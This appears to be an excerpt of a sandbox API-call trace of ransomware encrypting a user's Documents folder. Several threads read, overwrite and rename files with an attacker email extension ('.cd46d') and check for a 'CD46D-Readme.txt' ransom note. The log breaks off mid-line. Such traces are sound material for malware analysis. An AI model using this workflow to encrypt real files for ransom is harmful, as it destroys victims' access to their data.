[0052.981] RtlRandomEx (in: Seed=0x1596fbd8 | out: Seed=0x1596fbd8) returned 0x6c82a346 [0052.981] RtlRandomEx (in: Seed=0x1596fbd8 | out: Seed=0x1596fbd8) returned 0x62be34e3 [0052.981] RtlRandomEx (in: Seed=0x1596fbd8 | out: Seed=0x1596fbd8) returned 0x4df9cad5 [0052.981] RtlRandomEx (in: Seed=0x1596fbd8 | out: Seed=0x1596fbd8) returned 0x36aa3672 [0052.981] RtlRandomEx (in: Seed=0x1596fbd8 | out: Seed=0x1596fbd8) returned 0x6e2541cd [0052.981] RtlRandomEx (in: Seed=0x1596fbd8 | out: Seed=0x1596fbd8) returned 0x1d827aff [0052.981] RtlRandomEx (in: Seed=0x1596fbd8 | out: Seed=0x1596fbd8) returned 0x346c7aa6 [0052.981] RtlRandomEx (in: Seed=0x1596fbd8 | out: Seed=0x1596fbd8) returned 0x76bc4268 [0052.981] RtlRandomEx (in: Seed=0x1596fbd8 | out: Seed=0x1596fbd8) returned 0x2732e1d0 [0052.981] RtlRandomEx (in: Seed=0x1596fbd8 | out: Seed=0x1596fbd8) returned 0x4a8adc53 [0052.981] RtlRandomEx (in: Seed=0x1596fbd8 | out: Seed=0x1596fbd8) returned 0x6e7bd809 [0052.981] RtlRandomEx (in: Seed=0x1596fbd8 | out: Seed=0x1596fbd8) returned 0x21c42d18 [0052.981] RtlRandomEx (in: Seed=0x1596fbd8 | out: Seed=0x1596fbd8) returned 0x6bdc45ad [0052.981] RtlRandomEx (in: Seed=0x1596fbd8 | out: Seed=0x1596fbd8) returned 0x41615f4a [0052.982] RtlRandomEx (in: Seed=0x1596fbd8 | out: Seed=0x1596fbd8) returned 0x7acc58f5 [0052.982] RtlRandomEx (in: Seed=0x1596fbd8 | out: Seed=0x1596fbd8) returned 0x1ef2bd09 [0052.982] RtlRandomEx (in: Seed=0x1596fbd8 | out: Seed=0x1596fbd8) returned 0x6b30e2ad [0052.982] RtlRandomEx (in: Seed=0x1596fbd8 | out: Seed=0x1596fbd8) returned 0x2f6cecce [0052.982] RtlRandomEx (in: Seed=0x1596fbd8 | out: Seed=0x1596fbd8) returned 0x4ca409e5 [0052.982] RtlRandomEx (in: Seed=0x1596fbd8 | out: Seed=0x1596fbd8) returned 0x571acb1e [0052.982] RtlRandomEx (in: Seed=0x1596fbd8 | out: Seed=0x1596fbd8) returned 0x2db8aba2 [0052.982] RtlRandomEx (in: Seed=0x1596fbd8 | out: Seed=0x1596fbd8) returned 0x42dc6749 [0052.982] RtlRandomEx (in: Seed=0x1596fbd8 | out: Seed=0x1596fbd8) returned 0x1c65cf9f [0052.982] RtlRandomEx (in: Seed=0x1596fbd8 | out: Seed=0x1596fbd8) returned 0x7d97beae [0052.982] RtlRandomEx (in: Seed=0x1596fbd8 | out: Seed=0x1596fbd8) returned 0x3a7b8a0f [0052.982] RtlRandomEx (in: Seed=0x1596fbd8 | out: Seed=0x1596fbd8) returned 0x324adfda [0052.994] ReadFile (in: hFile=0xe8c, lpBuffer=0x1971b9c0, nNumberOfBytesToRead=0xab30, lpNumberOfBytesRead=0x1596fbc8, lpOverlapped=0x0 | out: lpBuffer=0x1971b9c0*, lpNumberOfBytesRead=0x1596fbc8*=0xab30, lpOverlapped=0x0) returned 1 [0052.996] SetFilePointerEx (in: hFile=0xe8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.996] WriteFile (in: hFile=0xe8c, lpBuffer=0x197281c8*, nNumberOfBytesToWrite=0xab30, lpNumberOfBytesWritten=0x1596fbc4, lpOverlapped=0x0 | out: lpBuffer=0x197281c8*, lpNumberOfBytesWritten=0x1596fbc4*=0xab30, lpOverlapped=0x0) returned 1 [0053.467] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf4b0 [0053.467] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf4d8 [0053.467] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf4d8) returned 1 [0053.467] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x197281c8) returned 1 [0053.467] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1971b9c0) returned 1 [0053.467] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4379b8) returned 1 [0053.467] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c288) returned 1 [0053.467] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x35) returned 0x5efe1f0 [0053.467] SetFilePointerEx (in: hFile=0xe8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.467] WriteFile (in: hFile=0xe8c, lpBuffer=0x97cfdf8*, nNumberOfBytesToWrite=0x119, lpNumberOfBytesWritten=0x1596fc2c, lpOverlapped=0x0 | out: lpBuffer=0x97cfdf8*, lpNumberOfBytesWritten=0x1596fc2c*=0x119, lpOverlapped=0x0) returned 1 [0053.615] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cfdf8) returned 1 [0053.615] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5efe230) returned 1 [0053.615] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf4d8) returned 1 [0053.615] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5efe1f0) returned 1 [0053.615] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf4b0) returned 1 [0053.615] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428f78) returned 1 [0053.615] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429048) returned 1 [0053.615] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429070) returned 1 [0053.615] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc2) returned 0x5e00fd0 [0053.615] wcscpy (in: _Dest=0x5e00fd0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TJa mzINn6ar8yN.pptx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TJa mzINn6ar8yN.pptx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TJa mzINn6ar8yN.pptx" [0053.615] wcscat (in: _Dest=0x5e00fd0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TJa mzINn6ar8yN.pptx.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TJa mzINn6ar8yN.pptx.mailto[2Hamlampampom@cock.li].cd46d" [0053.615] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TJa mzINn6ar8yN.pptx.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x1596fbe4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TJa mzINn6ar8yN.pptx.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.615] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd8) returned 0x44b080 [0053.718] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44b080) returned 1 [0053.719] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a2090) returned 1 [0053.719] NtQueryInformationFile (in: FileHandle=0xe8c, IoStatusBlock=0x1596fbf0, FileInformation=0x1596fbc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1596fbf0, FileInformation=0x1596fbc8) returned 0x0 [0053.719] NtSetInformationFile (FileHandle=0xe8c, IoStatusBlock=0x1596fbf0, FileInformation=0x1596fbc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0053.725] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00fd0) returned 1 [0053.725] FlushFileBuffers (hFile=0xe8c) returned 1 [0053.727] CloseHandle (hObject=0xe8c) returned 1 [0053.728] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400d18 [0053.728] wcscpy (in: _Dest=0x400d18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0053.728] wcscat (in: _Dest=0x400d18, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" [0053.728] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cd46d-readme.txt")) returned 0x20 [0053.728] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400d18) returned 1 [0053.728] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4467f8) returned 1 Thread: id = 854 os_tid = 0x1134 [0051.749] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\UAixvUB6xdQt.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\uaixvub6xdqt.ots")) returned 0x20 [0051.749] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\UAixvUB6xdQt.ots", dwFileAttributes=0x20) returned 1 [0052.996] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\UAixvUB6xdQt.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\uaixvub6xdqt.ots"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe90 [0052.996] GetFileSizeEx (in: hFile=0xe90, lpFileSize=0x15a3f804 | out: lpFileSize=0x15a3f804*=84822) returned 1 [0052.996] SetFilePointerEx (in: hFile=0xe90, liDistanceToMove=0x14b52, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.996] ReadFile (in: hFile=0xe90, lpBuffer=0x15a3f788, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x15a3f784, lpOverlapped=0x0 | out: lpBuffer=0x15a3f788*, lpNumberOfBytesRead=0x15a3f784*=0x4, lpOverlapped=0x0) returned 1 [0052.997] SetFilePointerEx (in: hFile=0xe90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.997] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428e60 [0052.997] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428ff0 [0052.997] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429098 [0052.997] NtQuerySystemTime (in: CurrentTime=0x15a3f764 | out: CurrentTime=0x15a3f764*=132174898169856000) returned 0x0 [0052.997] RtlRandomEx (in: Seed=0x15a3f770 | out: Seed=0x15a3f770) returned 0x663a05ad [0052.997] RtlRandomEx (in: Seed=0x15a3f770 | out: Seed=0x15a3f770) returned 0x358d8b12 [0052.997] RtlRandomEx (in: Seed=0x15a3f770 | out: Seed=0x15a3f770) returned 0x193100ef [0052.997] RtlRandomEx (in: Seed=0x15a3f770 | out: Seed=0x15a3f770) returned 0x1b7ffb15 [0052.997] RtlRandomEx (in: Seed=0x15a3f770 | out: Seed=0x15a3f770) returned 0x4b14c29e [0052.998] RtlRandomEx (in: Seed=0x15a3f770 | out: Seed=0x15a3f770) returned 0x4d5b32b0 [0052.998] RtlRandomEx (in: Seed=0x15a3f770 | out: Seed=0x15a3f770) returned 0x146807f [0052.998] RtlRandomEx (in: Seed=0x15a3f770 | out: Seed=0x15a3f770) returned 0x4b262a05 [0052.998] RtlRandomEx (in: Seed=0x15a3f770 | out: Seed=0x15a3f770) returned 0x6c071e6d [0052.998] RtlRandomEx (in: Seed=0x15a3f770 | out: Seed=0x15a3f770) returned 0x1fcecc1a [0052.998] RtlRandomEx (in: Seed=0x15a3f770 | out: Seed=0x15a3f770) returned 0x4432dcba [0052.998] RtlRandomEx (in: Seed=0x15a3f770 | out: Seed=0x15a3f770) returned 0x7c968a8a [0052.998] RtlRandomEx (in: Seed=0x15a3f770 | out: Seed=0x15a3f770) returned 0x3d6a41fe [0052.998] RtlRandomEx (in: Seed=0x15a3f770 | out: Seed=0x15a3f770) returned 0x45abf8c [0052.998] RtlRandomEx (in: Seed=0x15a3f770 | out: Seed=0x15a3f770) returned 0x46fbcbf [0052.998] RtlRandomEx (in: Seed=0x15a3f770 | out: Seed=0x15a3f770) returned 0x73928a60 [0052.998] RtlRandomEx (in: Seed=0x15a3f770 | out: Seed=0x15a3f770) returned 0x28082bb8 [0052.998] RtlRandomEx (in: Seed=0x15a3f770 | out: Seed=0x15a3f770) returned 0x3a64f0c7 [0052.998] RtlRandomEx (in: Seed=0x15a3f770 | out: Seed=0x15a3f770) returned 0x50ee9d45 [0052.998] RtlRandomEx (in: Seed=0x15a3f770 | out: Seed=0x15a3f770) returned 0x64654b2 [0052.998] RtlRandomEx (in: Seed=0x15a3f770 | out: Seed=0x15a3f770) returned 0x633cfd9e [0052.998] RtlRandomEx (in: Seed=0x15a3f770 | out: Seed=0x15a3f770) returned 0x457726a0 [0052.998] RtlRandomEx (in: Seed=0x15a3f770 | out: Seed=0x15a3f770) returned 0xd0423a5 [0052.998] RtlRandomEx (in: Seed=0x15a3f770 | out: Seed=0x15a3f770) returned 0x1d9f487a [0052.998] RtlRandomEx (in: Seed=0x15a3f770 | out: Seed=0x15a3f770) returned 0x676c2b7f [0052.998] RtlRandomEx (in: Seed=0x15a3f770 | out: Seed=0x15a3f770) returned 0xdbcde99 [0052.998] RtlRandomEx (in: Seed=0x15a3f770 | out: Seed=0x15a3f770) returned 0x7888b43e [0052.998] RtlRandomEx (in: Seed=0x15a3f770 | out: Seed=0x15a3f770) returned 0x6f3cda01 [0052.998] RtlRandomEx (in: Seed=0x15a3f770 | out: Seed=0x15a3f770) returned 0x1c537a2a [0052.998] RtlRandomEx (in: Seed=0x15a3f770 | out: Seed=0x15a3f770) returned 0x3b4acf12 [0052.998] RtlRandomEx (in: Seed=0x15a3f770 | out: Seed=0x15a3f770) returned 0x1ba26ed8 [0052.998] RtlRandomEx (in: Seed=0x15a3f770 | out: Seed=0x15a3f770) returned 0x13ce3926 [0053.010] SetFilePointerEx (in: hFile=0xe90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.010] ReadFile (in: hFile=0xe90, lpBuffer=0x197349d0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x15a3f744, lpOverlapped=0x0 | out: lpBuffer=0x197349d0*, lpNumberOfBytesRead=0x15a3f744*=0xc800, lpOverlapped=0x0) returned 1 [0053.011] SetFilePointerEx (in: hFile=0xe90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.011] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c2d0 [0053.011] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437a30 [0053.011] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428e60 [0053.011] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428e60) returned 1 [0053.012] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x197411d8 [0053.013] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428e60 [0053.013] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429098 [0053.013] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429098) returned 1 [0053.013] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437a30) returned 1 [0053.013] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c2d0) returned 1 [0053.013] WriteFile (in: hFile=0xe90, lpBuffer=0x197411d8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x15a3f744, lpOverlapped=0x0 | out: lpBuffer=0x197411d8*, lpNumberOfBytesWritten=0x15a3f744*=0xc800, lpOverlapped=0x0) returned 1 [0053.469] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x197411d8) returned 1 [0053.469] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x197349d0) returned 1 [0053.469] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2d) returned 0x12d05090 [0053.469] SetFilePointerEx (in: hFile=0xe90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.469] WriteFile (in: hFile=0xe90, lpBuffer=0x12d09960*, nNumberOfBytesToWrite=0x111, lpNumberOfBytesWritten=0x15a3f7c4, lpOverlapped=0x0 | out: lpBuffer=0x12d09960*, lpNumberOfBytesWritten=0x15a3f7c4*=0x111, lpOverlapped=0x0) returned 1 [0053.617] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d09960) returned 1 [0053.617] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d050c8) returned 1 [0053.617] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf500) returned 1 [0053.617] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05090) returned 1 [0053.617] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428e60) returned 1 [0053.617] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428ff0) returned 1 [0053.617] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4290c0) returned 1 [0053.617] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4290e8) returned 1 [0053.617] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xba) returned 0x12f4d848 [0053.617] wcscpy (in: _Dest=0x12f4d848, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\UAixvUB6xdQt.ots" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\UAixvUB6xdQt.ots") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\UAixvUB6xdQt.ots" [0053.617] wcscat (in: _Dest=0x12f4d848, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\UAixvUB6xdQt.ots.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\UAixvUB6xdQt.ots.mailto[2Hamlampampom@cock.li].cd46d" [0053.617] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\UAixvUB6xdQt.ots.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x15a3f77c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\UAixvUB6xdQt.ots.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.617] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd0) returned 0x40ce78 [0053.722] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40ce78) returned 1 [0053.722] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a22b8) returned 1 [0053.722] NtQueryInformationFile (in: FileHandle=0xe90, IoStatusBlock=0x15a3f788, FileInformation=0x15a3f760, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x15a3f788, FileInformation=0x15a3f760) returned 0x0 [0053.722] NtSetInformationFile (FileHandle=0xe90, IoStatusBlock=0x15a3f788, FileInformation=0x15a3f760, Length=0x28, FileInformationClass=0x4) returned 0x0 [0053.730] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d848) returned 1 [0053.730] FlushFileBuffers (hFile=0xe90) returned 1 [0053.767] CloseHandle (hObject=0xe90) returned 1 [0053.770] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400d18 [0053.770] wcscpy (in: _Dest=0x400d18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0053.770] wcscat (in: _Dest=0x400d18, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" [0053.770] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cd46d-readme.txt")) returned 0x20 [0053.770] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400d18) returned 1 [0053.770] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400618) returned 1 Thread: id = 855 os_tid = 0x1138 [0051.750] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\VcBemMZT6g2ocMWtTQ9M.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vcbemmzt6g2ocmwttq9m.odt")) returned 0x20 [0051.750] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\VcBemMZT6g2ocMWtTQ9M.odt", dwFileAttributes=0x20) returned 1 [0053.013] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\VcBemMZT6g2ocMWtTQ9M.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vcbemmzt6g2ocmwttq9m.odt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe94 [0053.013] GetFileSizeEx (in: hFile=0xe94, lpFileSize=0x1162fd9c | out: lpFileSize=0x1162fd9c*=98271) returned 1 [0053.013] SetFilePointerEx (in: hFile=0xe94, liDistanceToMove=0x17fdb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.014] ReadFile (in: hFile=0xe94, lpBuffer=0x1162fd20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1162fd1c, lpOverlapped=0x0 | out: lpBuffer=0x1162fd20*, lpNumberOfBytesRead=0x1162fd1c*=0x4, lpOverlapped=0x0) returned 1 [0053.014] SetFilePointerEx (in: hFile=0xe94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.014] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429098 [0053.014] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429110 [0053.014] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429138 [0053.014] NtQuerySystemTime (in: CurrentTime=0x1162fcfc | out: CurrentTime=0x1162fcfc*=132174898170012000) returned 0x0 [0053.014] RtlRandomEx (in: Seed=0x1162fd08 | out: Seed=0x1162fd08) returned 0x388a509d [0053.014] RtlRandomEx (in: Seed=0x1162fd08 | out: Seed=0x1162fd08) returned 0x16f9867c [0053.015] RtlRandomEx (in: Seed=0x1162fd08 | out: Seed=0x1162fd08) returned 0x62748b08 [0053.015] RtlRandomEx (in: Seed=0x1162fd08 | out: Seed=0x1162fd08) returned 0xf966f59 [0053.015] RtlRandomEx (in: Seed=0x1162fd08 | out: Seed=0x1162fd08) returned 0x74687666 [0053.015] RtlRandomEx (in: Seed=0x1162fd08 | out: Seed=0x1162fd08) returned 0x7c749124 [0053.015] RtlRandomEx (in: Seed=0x1162fd08 | out: Seed=0x1162fd08) returned 0x5e6d85d7 [0053.015] RtlRandomEx (in: Seed=0x1162fd08 | out: Seed=0x1162fd08) returned 0x52eeb51d [0053.015] RtlRandomEx (in: Seed=0x1162fd08 | out: Seed=0x1162fd08) returned 0x142d4639 [0053.015] RtlRandomEx (in: Seed=0x1162fd08 | out: Seed=0x1162fd08) returned 0x3a94850c [0053.015] RtlRandomEx (in: Seed=0x1162fd08 | out: Seed=0x1162fd08) returned 0x3024ba55 [0053.015] RtlRandomEx (in: Seed=0x1162fd08 | out: Seed=0x1162fd08) returned 0x3fcdcb2a [0053.015] RtlRandomEx (in: Seed=0x1162fd08 | out: Seed=0x1162fd08) returned 0x6e73e046 [0053.015] RtlRandomEx (in: Seed=0x1162fd08 | out: Seed=0x1162fd08) returned 0x2c0ac1d1 [0053.015] RtlRandomEx (in: Seed=0x1162fd08 | out: Seed=0x1162fd08) returned 0x21f64c3 [0053.015] RtlRandomEx (in: Seed=0x1162fd08 | out: Seed=0x1162fd08) returned 0x5a413f9b [0053.015] RtlRandomEx (in: Seed=0x1162fd08 | out: Seed=0x1162fd08) returned 0x665d8e60 [0053.015] RtlRandomEx (in: Seed=0x1162fd08 | out: Seed=0x1162fd08) returned 0x423c81e3 [0053.015] RtlRandomEx (in: Seed=0x1162fd08 | out: Seed=0x1162fd08) returned 0x24b60dfb [0053.015] RtlRandomEx (in: Seed=0x1162fd08 | out: Seed=0x1162fd08) returned 0x1443d1f3 [0053.015] RtlRandomEx (in: Seed=0x1162fd08 | out: Seed=0x1162fd08) returned 0x29d6907 [0053.015] RtlRandomEx (in: Seed=0x1162fd08 | out: Seed=0x1162fd08) returned 0x34245285 [0053.015] RtlRandomEx (in: Seed=0x1162fd08 | out: Seed=0x1162fd08) returned 0x133b3cab [0053.015] RtlRandomEx (in: Seed=0x1162fd08 | out: Seed=0x1162fd08) returned 0x1abb48fd [0053.015] RtlRandomEx (in: Seed=0x1162fd08 | out: Seed=0x1162fd08) returned 0x4dd00b03 [0053.015] RtlRandomEx (in: Seed=0x1162fd08 | out: Seed=0x1162fd08) returned 0x6bd9cc24 [0053.015] RtlRandomEx (in: Seed=0x1162fd08 | out: Seed=0x1162fd08) returned 0x4d6bfcf5 [0053.015] RtlRandomEx (in: Seed=0x1162fd08 | out: Seed=0x1162fd08) returned 0x71033553 [0053.015] RtlRandomEx (in: Seed=0x1162fd08 | out: Seed=0x1162fd08) returned 0x45d5b167 [0053.015] RtlRandomEx (in: Seed=0x1162fd08 | out: Seed=0x1162fd08) returned 0x7f603a7e [0053.015] RtlRandomEx (in: Seed=0x1162fd08 | out: Seed=0x1162fd08) returned 0x73a873c2 [0053.015] RtlRandomEx (in: Seed=0x1162fd08 | out: Seed=0x1162fd08) returned 0x580aa6a6 [0053.027] SetFilePointerEx (in: hFile=0xe94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.027] ReadFile (in: hFile=0xe94, lpBuffer=0x1974d9e0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1162fcdc, lpOverlapped=0x0 | out: lpBuffer=0x1974d9e0*, lpNumberOfBytesRead=0x1162fcdc*=0xc800, lpOverlapped=0x0) returned 1 [0053.028] SetFilePointerEx (in: hFile=0xe94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.028] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c2d0 [0053.028] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437a30 [0053.028] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429098 [0053.028] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429098) returned 1 [0053.029] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x1975a1e8 [0053.033] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429098 [0053.033] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 